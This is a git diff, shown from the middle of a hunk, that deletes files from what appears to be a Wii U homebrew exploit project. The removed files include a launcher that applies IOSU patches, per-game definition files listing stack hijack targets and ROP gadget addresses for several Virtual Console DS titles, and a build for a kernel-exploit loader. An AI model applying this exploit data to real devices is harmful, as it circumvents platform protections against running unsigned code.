if(memcmp(FnameChar+fLen-6,"fw.img",7) == 0) - { - if(FnameChar[0] == '/' && fLen > 7 && *(FnameChar+fLen-7) == '/') - { - *(FnameChar+fLen-7) = '\0'; - __os_snprintf((void*)0xF5E70000,32,"/vol/sdcard%s",FnameChar); - } - else if(FnameChar[0] != '/' && fLen > 6 && *(FnameChar+fLen-7) == '/') - { - *(FnameChar+fLen-7) = '\0'; - __os_snprintf((void*)0xF5E70000,32,"/vol/sdcard/%s",FnameChar); - } - else - __os_snprintf((void*)0xF5E70000,32,"/vol/sdcard"); - launchmode = LAUNCH_CFW_IMG; - break; - } - else if(memcmp(FnameChar+fLen-4,".elf",5) == 0) - { - if(FnameChar[0] == '/') - __os_snprintf((void*)0xF5E70000,250,"/vol/external01%s",FnameChar); - else - __os_snprintf((void*)0xF5E70000,250,"/vol/external01/%s",FnameChar); - launchmode = LAUNCH_HBL; - break; - } - else if(memcmp(FnameChar+fLen-7,"sysmenu",8) == 0) - { - launchmode = LAUNCH_SYSMENU; - break; - } - } - } - } - } -fileEnd: - if(pClient && pCmd) - { - if(iFd >= 0) - FSCloseFile(pClient, pCmd, iFd, -1); - FSDelClient(pClient); - MEMFreeToDefaultHeap(pClient); - MEMFreeToDefaultHeap(pCmd); - } - if(pBuffer) - MEMFreeToDefaultHeap(pBuffer); - - if(launchmode == LAUNCH_HBL) - return 0x01800000; - - //store path to sd fw.img for arm_kernel - if(launchmode == LAUNCH_CFW_IMG) - DCStoreRange((void*)0xF5E70000,0x100); - - unsigned int sysapp_handle; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - void (*SYSLaunchMenu)(void); - OSDynLoad_FindExport(sysapp_handle, 0,"SYSLaunchMenu", &SYSLaunchMenu); - - int (*OSForceFullRelaunch)(void); - OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch); - - void (*OSExitThread)(int); - OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread); - - //do iosu patches - void (*patch_iosu)(unsigned int coreinit_handle, unsigned int sysapp_handle, int launchmode, int from_cbhc) = (void*)0x01804000; - patch_iosu(coreinit_handle, sysapp_handle, launchmode, 0); - - if(launchmode == LAUNCH_CFW_IMG) - OSForceFullRelaunch(); - SYSLaunchMenu(); - - OSExitThread(0); - return 0; -} diff --git a/dsrom/option_select/types.h b/dsrom/option_select/types.h deleted file mode 100644 index 828591e..0000000 --- a/dsrom/option_select/types.h +++ /dev/null @@ -1,20 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - -typedef unsigned long long uint64_t; -typedef long long int64_t; -typedef unsigned int uint32_t; -typedef int int32_t; -typedef unsigned short uint16_t; -typedef short int16_t; -typedef unsigned char uint8_t; -typedef char int8_t; - -typedef uint32_t size_t; - -typedef _Bool bool; -#define true 1 -#define false 0 -#define null 0 - -#endif /* TYPES_H */ diff --git a/dsrom/partnersintime_defs.s b/dsrom/partnersintime_defs.s deleted file mode 100644 index 63c6e5d..0000000 --- a/dsrom/partnersintime_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079B624-0xB8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C91938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16444200) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x022070D8) -BCTRL equ (RPX_OFFSET + 0x02206F94) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3664) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A323C) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0200106C) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x021791BC) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02277B98) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018908) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AEAA4) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F4A8) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02082DC0) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205788C) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018990) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x021492F8) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020240EC) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x02221A3C) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02221E58) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x022218E8) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CC8) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FB1C) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02220DA0) -_START_EXIT equ (RPX_OFFSET + 0x0202693C) diff --git a/dsrom/pokemonranger_defs.s b/dsrom/pokemonranger_defs.s deleted file mode 100644 index 08562ef..0000000 --- a/dsrom/pokemonranger_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079B664-0xB8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C91938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16440E00) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x0204A6A0) -BCTRL equ (RPX_OFFSET + 0x02003D2C) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020AAB64) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020AA73C) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02001A8C) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x021806C4) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x022800B0) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020187E8) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020B5FA4) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F35C) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x020871A4) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205B638) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018870) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x021507F8) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020241EC) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x02229E4C) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x0222A268) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x02229CF8) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006B64) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FC44) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x0222993C) -_START_EXIT equ (RPX_OFFSET + 0x02026314) diff --git a/dsrom/sfcommand_defs.s b/dsrom/sfcommand_defs.s deleted file mode 100644 index a5e2139..0000000 --- a/dsrom/sfcommand_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x10796964-0xB8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C8C938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x1643F200) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02063D3C) -BCTRL equ (RPX_OFFSET + 0x02004158) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3670) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A3248) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0200106C) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x021791C8) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02277BA4) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018908) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AEAB0) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F4A8) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02082E20) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x020578EC) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018990) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x02149304) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020240EC) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x02221A48) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02221E64) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x022218F4) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CC8) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FB1C) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02220DAC) -_START_EXIT equ (RPX_OFFSET + 0x0202699C) diff --git a/dsrom/sm64ds_defs.s b/dsrom/sm64ds_defs.s deleted file mode 100644 index a1ab9ec..0000000 --- a/dsrom/sm64ds_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x107991A4-0xC0) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C8F938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16443300) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02049628) -BCTRL equ (RPX_OFFSET + 0x0200415C) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A6E10) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A69E8) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0200106C) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x0217C968) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x0227B400) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0201899C) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020B2250) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F510) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02085334) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x020596A4) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018A24) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x0214CAA4) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02024274) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x02225208) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02225624) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x022250B4) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006D30) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FC7C) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x022247D8) -_START_EXIT equ (RPX_OFFSET + 0x02026908) diff --git a/dsrom/vwii_loader/Makefile b/dsrom/vwii_loader/Makefile deleted file mode 100644 index ef386f2..0000000 --- a/dsrom/vwii_loader/Makefile +++ /dev/null @@ -1,46 +0,0 @@ -PATH := $(DEVKITPPC)/bin:$(PATH) -PREFIX ?= powerpc-eabi- -CC = $(PREFIX)gcc -AS = $(PREFIX)gcc -CFLAGS = -std=gnu99 -O3 -nostdinc -fno-builtin -ASFLAGS = -mregnames -x assembler-with-cpp -LD = $(PREFIX)ld -OBJCOPY = $(PREFIX)objcopy -LDFLAGS=-Ttext 180C000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.2.0 -lgcc -OBJDUMP ?= $(PREFIX)objdump -project := . -root := $(CURDIR) -build := $(root)/bin - -sd_loader_elf := sd_loader/sd_loader.elf - -CFLAGS += -DUSE_SD_LOADER -ASFLAGS += -DUSE_SD_LOADER -FIRMWARE = 550 - -all: clean setup main - -sd_loader.h: $(sd_loader_elf) - xxd -i $< | sed "s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g" > $@ - -$(sd_loader_elf): - make -C sd_loader - -setup: - mkdir -p $(root)/bin/ - -main: sd_loader.h - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c - $(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S - $(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S - cp -r $(root)/*.o $(build) - rm $(root)/*.o - $(LD) -o vwii_loader.elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map vwii_loader.map - $(OBJCOPY) vwii_loader.elf -S -O binary ../vwii_loader.bin - -clean: - rm -rf $(build) - rm -rf sd_loader.h - rm -rf vwii_loader.elf vwii_loader.map - make clean -C sd_loader diff --git a/dsrom/vwii_loader/README b/dsrom/vwii_loader/README deleted file mode 100644 index c41328d..0000000 --- a/dsrom/vwii_loader/README +++ /dev/null @@ -1,3 +0,0 @@ -This is a modified version of dimok's original homebrew launcher installer which can be found here: -https://github.com/dimok789/homebrew_launcher/tree/master/installer -This particular folder was hacked together to launch up vwii quickly. \ No newline at end of file diff --git a/dsrom/vwii_loader/common.h b/dsrom/vwii_loader/common.h deleted file mode 100644 index 1cedb68..0000000 --- a/dsrom/vwii_loader/common.h +++ /dev/null @@ -1,45 +0,0 @@ -#ifndef COMMON_H -#define COMMON_H - -#ifdef __cplusplus -extern "C" { -#endif - -#include "os_defs.h" - -#define HBL_VERSION "v1.4" - -#define CAFE_OS_SD_PATH "/vol/external01" -#define SD_PATH "sd:" -#define WIIU_PATH "/wiiu" - -#ifndef MEM_BASE -#define MEM_BASE (0x00800000) -#endif - -#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) -#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) -#define HBL_CHANNEL (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x08)) -#define RPX_MAX_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x0C)) -#define RPX_MAX_CODE_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x10)) -#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) -#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04)) - -#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500)) - -#define MEM_AREA_TABLE ((s_mem_area*)(MEM_BASE + 0x1600)) - -#define VWII_TITLE_ID_LOW (*(volatile unsigned int*)(MEM_BASE + 0x1E00 + 0x00)) -#define VWII_TITLE_ID_HIGH (*(volatile unsigned int*)(MEM_BASE + 0x1E00 + 0x04)) - -#ifndef EXIT_SUCCESS -#define EXIT_SUCCESS 0 -#endif -#define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD - -#ifdef __cplusplus -} -#endif - -#endif /* COMMON_H */ - diff --git a/dsrom/vwii_loader/coreinit.h b/dsrom/vwii_loader/coreinit.h deleted file mode 100644 index cf9943e..0000000 --- a/dsrom/vwii_loader/coreinit.h +++ /dev/null @@ -1,31 +0,0 @@ -//Taken from libwiius coreinit.h - -#ifndef COREINIT_H -#define COREINIT_H - -#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4) -#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828) -#define OSFatal ((void (*)(char* msg))0x01031618) -#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160) - -typedef struct OSContext -{ - /* OSContext identifier */ - uint32_t tag1; - uint32_t tag2; - - /* GPRs */ - uint32_t gpr[32]; - - /* Special registers */ - uint32_t cr; - uint32_t lr; - uint32_t ctr; - uint32_t xer; - - /* Initial PC and MSR */ - uint32_t srr0; - uint32_t srr1; -} OSContext; - -#endif /* COREINIT_H */ \ No newline at end of file diff --git a/dsrom/vwii_loader/crt0.S b/dsrom/vwii_loader/crt0.S deleted file mode 100644 index d2095cf..0000000 --- a/dsrom/vwii_loader/crt0.S +++ /dev/null @@ -1,7 +0,0 @@ - - .extern __main - .globl _start - -_start: - # jump to our main - b __main diff --git a/dsrom/vwii_loader/elf_abi.h b/dsrom/vwii_loader/elf_abi.h deleted file mode 100644 index 4d9c796..0000000 --- a/dsrom/vwii_loader/elf_abi.h +++ /dev/null @@ -1,591 +0,0 @@ -/* - * Copyright (c) 1995, 1996, 2001, 2002 - * Erik Theisen. All rights reserved. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * 3. The name of the author may not be used to endorse or promote products - * derived from this software without specific prior written permission - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This is the ELF ABI header file - * formerly known as "elf_abi.h". - */ - -#ifndef _ELF_ABI_H -#define _ELF_ABI_H - -/* - * This version doesn't work for 64-bit ABIs - Erik. - */ - -/* - * These typedefs need to be handled better. - */ -typedef unsigned int Elf32_Addr; /* Unsigned program address */ -typedef unsigned int Elf32_Off; /* Unsigned file offset */ -typedef signed int Elf32_Sword; /* Signed large integer */ -typedef unsigned int Elf32_Word; /* Unsigned large integer */ -typedef unsigned short Elf32_Half; /* Unsigned medium integer */ - -/* e_ident[] identification indexes */ -#define EI_MAG0 0 /* file ID */ -#define EI_MAG1 1 /* file ID */ -#define EI_MAG2 2 /* file ID */ -#define EI_MAG3 3 /* file ID */ -#define EI_CLASS 4 /* file class */ -#define EI_DATA 5 /* data encoding */ -#define EI_VERSION 6 /* ELF header version */ -#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ -#define EI_ABIVERSION 8 /* ABI target version */ -#define EI_PAD 9 /* start of pad bytes */ -#define EI_NIDENT 16 /* Size of e_ident[] */ - -/* e_ident[] magic number */ -#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ -#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ -#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ -#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ -#define ELFMAG "\177ELF" /* magic */ -#define SELFMAG 4 /* size of magic */ - -/* e_ident[] file class */ -#define ELFCLASSNONE 0 /* invalid */ -#define ELFCLASsigned int 1 /* 32-bit objs */ -#define ELFCLASS64 2 /* 64-bit objs */ -#define ELFCLASSNUM 3 /* number of classes */ - -/* e_ident[] data encoding */ -#define ELFDATANONE 0 /* invalid */ -#define ELFDATA2LSB 1 /* Little-Endian */ -#define ELFDATA2MSB 2 /* Big-Endian */ -#define ELFDATANUM 3 /* number of data encode defines */ - -/* e_ident[] OS/ABI specific ELF extensions */ -#define ELFOSABI_NONE 0 /* No extension specified */ -#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ -#define ELFOSABI_NETBSD 2 /* NetBSD */ -#define ELFOSABI_LINUX 3 /* Linux */ -#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ -#define ELFOSABI_AIX 7 /* AIX */ -#define ELFOSABI_IRIX 8 /* IRIX */ -#define ELFOSABI_FREEBSD 9 /* FreeBSD */ -#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ -#define ELFOSABI_MODESTO 11 /* Novell Modesto */ -#define ELFOSABI_OPENBSD 12 /* OpenBSD */ -/* 64-255 Architecture-specific value range */ - -/* e_ident[] ABI Version */ -#define ELFABIVERSION 0 - -/* e_ident */ -#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ - (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ - (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ - (ehdr).e_ident[EI_MAG3] == ELFMAG3) - -/* ELF Header */ -typedef struct elfhdr{ - unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ - Elf32_Half e_type; /* object file type */ - Elf32_Half e_machine; /* machine */ - Elf32_Word e_version; /* object file version */ - Elf32_Addr e_entry; /* virtual entry point */ - Elf32_Off e_phoff; /* program header table offset */ - Elf32_Off e_shoff; /* section header table offset */ - Elf32_Word e_flags; /* processor-specific flags */ - Elf32_Half e_ehsize; /* ELF header size */ - Elf32_Half e_phentsize; /* program header entry size */ - Elf32_Half e_phnum; /* number of program header entries */ - Elf32_Half e_shentsize; /* section header entry size */ - Elf32_Half e_shnum; /* number of section header entries */ - Elf32_Half e_shstrndx; /* section header table's "section - header string table" entry offset */ -} Elf32_Ehdr; - -/* e_type */ -#define ET_NONE 0 /* No file type */ -#define ET_REL 1 /* relocatable file */ -#define ET_EXEC 2 /* executable file */ -#define ET_DYN 3 /* shared object file */ -#define ET_CORE 4 /* core file */ -#define ET_NUM 5 /* number of types */ -#define ET_LOOS 0xfe00 /* reserved range for operating */ -#define ET_HIOS 0xfeff /* system specific e_type */ -#define ET_LOPROC 0xff00 /* reserved range for processor */ -#define ET_HIPROC 0xffff /* specific e_type */ - -/* e_machine */ -#define EM_NONE 0 /* No Machine */ -#define EM_M32 1 /* AT&T WE 32100 */ -#define EM_SPARC 2 /* SPARC */ -#define EM_386 3 /* Intel 80386 */ -#define EM_68K 4 /* Motorola 68000 */ -#define EM_88K 5 /* Motorola 88000 */ -#if 0 -#define EM_486 6 /* RESERVED - was Intel 80486 */ -#endif -#define EM_860 7 /* Intel 80860 */ -#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ -#define EM_S370 9 /* IBM System/370 Processor */ -#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ -#if 0 -#define EM_SPARC64 11 /* RESERVED - was SPARC v9 - 64-bit unoffical */ -#endif -/* RESERVED 11-14 for future use */ -#define EM_PARISC 15 /* HPPA */ -/* RESERVED 16 for future use */ -#define EM_VPP500 17 /* Fujitsu VPP500 */ -#define EM_SPARC32PLUS 18 /* Enhanced 